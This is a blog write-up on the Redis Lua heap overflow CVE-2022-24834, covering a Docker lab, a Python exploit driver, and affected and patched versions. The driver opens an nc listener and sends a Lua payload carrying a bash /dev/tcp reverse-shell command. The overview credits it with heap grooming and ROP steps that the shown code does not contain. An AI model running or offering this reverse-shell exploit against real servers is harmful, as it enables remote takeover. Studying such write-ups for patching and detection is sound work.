Redis Exploit: A Technical Deep Dive into CVE-2022-24834

2024-04-21
James McGill
CVE-2022-24834
CVE-2022-24834 exploit
CVE-2022-24834 PoC
Redis vulnerability
Redis exploit
Redis attacks
Redis Lua scripting
Redis RCE
Redis heap overflow
cJSON vulnerability
cmsgpack vulnerability
Redis Lua scripting security
detecting CVE-2022-24834 in Redis deployments
how to secure Redis from RCE attacks
Redis Exploit: A Technical Deep Dive into CVE-2022-24834

Introduction

In the ever-evolving landscape of cyber security vulnerabilities, CVE-2022-24834 stands out as a critical flaw that threatened the integrity of Redis deployments. This vulnerability, residing within the popular in-memory data store, exposed systems to remote code execution (RCE) attacks. This blog delves into the technical details of CVE-2022-24834, providing valuable insights for cyber security researchers and system administrators.

Redis: A Target for Malicious Actors

Redis, known for its fast performance and flexible data structures, has become a cornerstone for various applications, from caching to real-time messaging. However, CVE-2022-24834 revealed a vulnerability within Redis' Lua scripting capabilities, a feature that allows users to extend its functionality with custom scripts.

The Root of the Problem: Heap Overflow in cJSON and cmsgpack

The vulnerability stemmed from a heap overflow issue within two libraries used by Redis for data serialization: cJSON and cmsgpack. These libraries handle tasks like converting complex data structures into a transmittable format.

Here's how a malicious actor could exploit CVE-2022-24834:

  • Crafting the Malicious Script: The attacker would create a specially crafted Lua script containing malicious code. This script would leverage vulnerabilities in cJSON or cmsgpack to trigger a heap overflow.

  • Heap Overflow: When Redis executes the attacker's script, the heap overflow vulnerability would occur within cJSON or cmsgpack. This would corrupt the heap memory, a critical region used by programs to store data.

  • Gaining a Foothold (RCE): Due to the heap corruption, the attacker could potentially overwrite critical data structures on the heap. In a successful exploit, the attacker might overwrite a function pointer with the address of their malicious code.

  • Getting a Shell! (Remote Code Execution): When a legitimate function tries to call the overwritten pointer, it would instead execute the attacker's code, granting them unauthorized access and potentially RCE on the Redis server.

Proof of Concept

We can host a vulnerable version of Redis in a docker container for this lab:

docker run -p 6379:6379 -i -t redis:7.0.11

Now we gotta find out the IP address of this redis server. We can inspect the docker container to find that out:

docker inspect <CONTAINER_ID>

We will using the following exploit script to run the malicious Lua payload on our target Redis server:

import pwn
import threading
import subprocess
import sys

pwn.context.log_level = "debug"

class Redis:
    def __init__(self, host='192.168.45.250', port=6379):
        self.host = host
        self.port = port
        self.conn = None

    def prepare(self, data):
        if isinstance(data, int):
            return f":{data}\r\n".encode()
        elif isinstance(data, str):
            return f"${len(data)}\r\n{data}\r\n".encode()
        elif isinstance(data, bytes):
            return f"${len(data)}\r\n".encode() + data + b"\r\n"
        elif isinstance(data, list):
            return f"*{len(data)}\r\n".encode() + b''.join([self.prepare(elm) for elm in data])
        elif data is None:
            return b"$-1\r\n"
        else:
            raise ValueError(f"Non-RESP type: {type(data)}")

    def cmd(self, argv):
        self.conn = pwn.remote(self.host, self.port)
        self.conn.send(self.prepare(argv))
        self.conn.interactive()

    def recv(self):
        t = self.conn.recv(1)
        if t == b'+' or t == b'-':
            return self.conn.recvuntil(b"\r\n")[:-2]
        elif t == b':':
            return int(self.conn.recvuntil(b"\r\n")[:-2])
        elif t == b'$':
            s = int(self.conn.recvuntil(b"\r\n")[:-2])
            if s == -1:
                return None
            d = self.conn.recv(s)
            self.conn.recvuntil(b"\r\n")
            return d
        elif t == b'*':
            s = int(self.conn.recvuntil(b"\r\n")[:-2])
            return [redis_recv(sock) for i in range(s)]
        else:
            raise ValueError(f"What is this? {t}")

    def GET(self, key):
        return self.cmd(["GET", key])

    def EVAL(self, script):
        return self.cmd(["EVAL", script, "0"])

class ShellServer:
    def __init__(self, lport=4444, lhost='0.0.0.0'):
        self.lhost = lhost
        self.lport = lport

    def run(self):
        subprocess.run(["nc", "-lnvp", str(self.lport)])

def main():
    if len(sys.argv) != 6:
        print(f"USAGE: python {sys.argv[0]} redis_host redis_port listen_host listen_port
script_file")
        sys.exit(-1)
    redis_host, redis_port, lhost, lport, lua_script = sys.argv[1:]
    
    """
    redis_host = '192.168.45.250'
    redis_port = 6379
    lhost = '192.168.45.225'
    lport = 4444 
    """
    debug = False
    print(f"[*] Starting server on {lhost}:{lport}")
    shell_server = ShellServer(lport)
    shell_server = threading.Thread(target=ShellServer().run)
    shell_server.start()
    print(f"[*] Sending evil lua script to {redis_host}:{redis_port}")
    redis = Redis(redis_host, redis_port)
    cmd = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'".encode()
    evil_lua_script = open(lua_script, "rb").read().replace(b"[CMD]", cmd)
    r = redis.EVAL(evil_lua_script)

    if debug:
        if r: print(repr(r))

if __name__ == "__main__":
    main()

Here's a general overview of the script:

  • Setup: The script initializes various parameters, sets up utility functions, and prepares data structures needed for exploitation.

  • Heap Preparation: It creates a large string to manipulate the heap layout, ensuring subsequent allocations are placed favorably for exploitation.

  • Heap Layout Manipulation: The script allocates arrays and creates a fake table object to manipulate heap memory, aiming for arbitrary read/write capabilities.

  • Exploit Triggering: It exploits a heap overflow in the encode buffer to cause memory corruption, a crucial step for gaining control over program execution flow.

  • Arbitrary Read/Write: By manipulating array pointers and sizes, the script achieves the ability to read from and write to arbitrary memory locations, facilitating further exploitation.

  • Information Leakage: It extracts sensitive memory addresses (e.g., stack and libc base address) by inspecting Lua coroutine stack frames, aiding in crafting the exploit payload.

  • Symbol Resolution: Using leaked memory addresses, the script resolves the location of critical functions (e.g., system) in the target's libc library through the GNU hash table, essential for executing system commands.

  • ROP Chain Construction: It constructs a Return-Oriented Programming (ROP) chain by identifying suitable gadgets within the libc library's code, enabling controlled execution of code snippets.

  • Payload Execution: Crafting a payload with the desired system command, the script executes it within the target environment, typically leading to remote code execution, thus achieving the exploitation goal.

Let’s perform the exploitation and get ourselves a reverse shell by exploiting the vulnerable redis server:

python redis_cve-2022-24834.py <REDIS_IP> <REDIS_PORT> <LISTENER_IP> <LISTERNER_PORT> exploit.lua

Now we can execute any command on the system using the shell.

Impact and Affected Versions

A successful exploit of CVE-2022-24834 could have had devastating consequences. An attacker could have gained complete control over the compromised Redis server, potentially:

  • Stealing sensitive data stored in Redis.

  • Disrupting critical applications that rely on Redis for caching or messaging.

  • Deploying cryptojacking malware to mine cryptocurrency on the server's resources.

  • Launching further attacks within the network by pivoting from the compromised Redis server.

The vulnerability affected all versions of Redis with Lua scripting support, starting from version 2.6. However, it's important to note that only authenticated and authorized users could exploit this vulnerability. This means an attacker would need valid credentials to execute Lua scripts on the target Redis server.

The Patch and The Path Forward

Fortunately, Redis addressed this vulnerability in the following versions:

  • Redis Enterprise Cloud: Patched since release.

  • Redis Enterprise: 6.2.12-82 and above, 6.2.18-1 and above, all minor versions of 6.4, 7.2.0 and above.

  • Redis Open Source: 6.0.20, 6.2.13, 7.0.12, 7.2 RC3.

  • Redis Stack: 6.2.6-v8, 7.2 RC3.

Upgrading to these patched versions is paramount to mitigating the risk associated with CVE-2022-24834.

Conclusion

CVE-2022-24834 serves as a stark reminder of the importance of continuous vulnerability assessment and patching within critical infrastructure like Redis. By understanding the technical aspects of this vulnerability, security researchers can refine their detection and mitigation strategies. System administrators, armed with this knowledge, can ensure the security of their Redis deployments and safeguard the data entrusted to them. Remember, vigilance and proactive security practices are the cornerstones of a robust defense against cyber threats.

Disclaimer

The information presented in this blog post is for educational purposes only. It is intended to raise awareness about the CVE-2022-24834 vulnerability and help mitigate the risks. It is not intended to be used for malicious purposes.

It's crucial to understand that messing around with vulnerabilities in live systems without permission is not just against the law, but it also comes with serious risks. This blog post does not support or encourage any activities that could help with such unauthorized actions.

CVE-2024-48914: Arbitrary File Read Vulnerability in Vendure
CVE-2024-48914: Arbitrary File Read Vulnerability in Vendure
2024-10-26
Kamran Hasan
CVE-2022-44268: Arbitrary File Disclosure in ImageMagick
CVE-2022-44268: Arbitrary File Disclosure in ImageMagick
2024-05-26
James McGill
CVE-2021-43798: Path Traversal in Grafana
CVE-2021-43798: Path Traversal in Grafana
2024-03-30
James McGill
CVE-2021-3129: Remote Code Execution in Laravel
CVE-2021-3129: Remote Code Execution in Laravel
2024-02-14
James McGill
CVE-2024-28116: Server-Side Template Injection in Grav CMS
CVE-2024-28116: Server-Side Template Injection in Grav CMS
2024-03-24
James McGill
CVE-2022-42889: Remote Code Execution in Apache Commons Text
CVE-2022-42889: Remote Code Execution in Apache Commons Text
2024-01-13
James McGill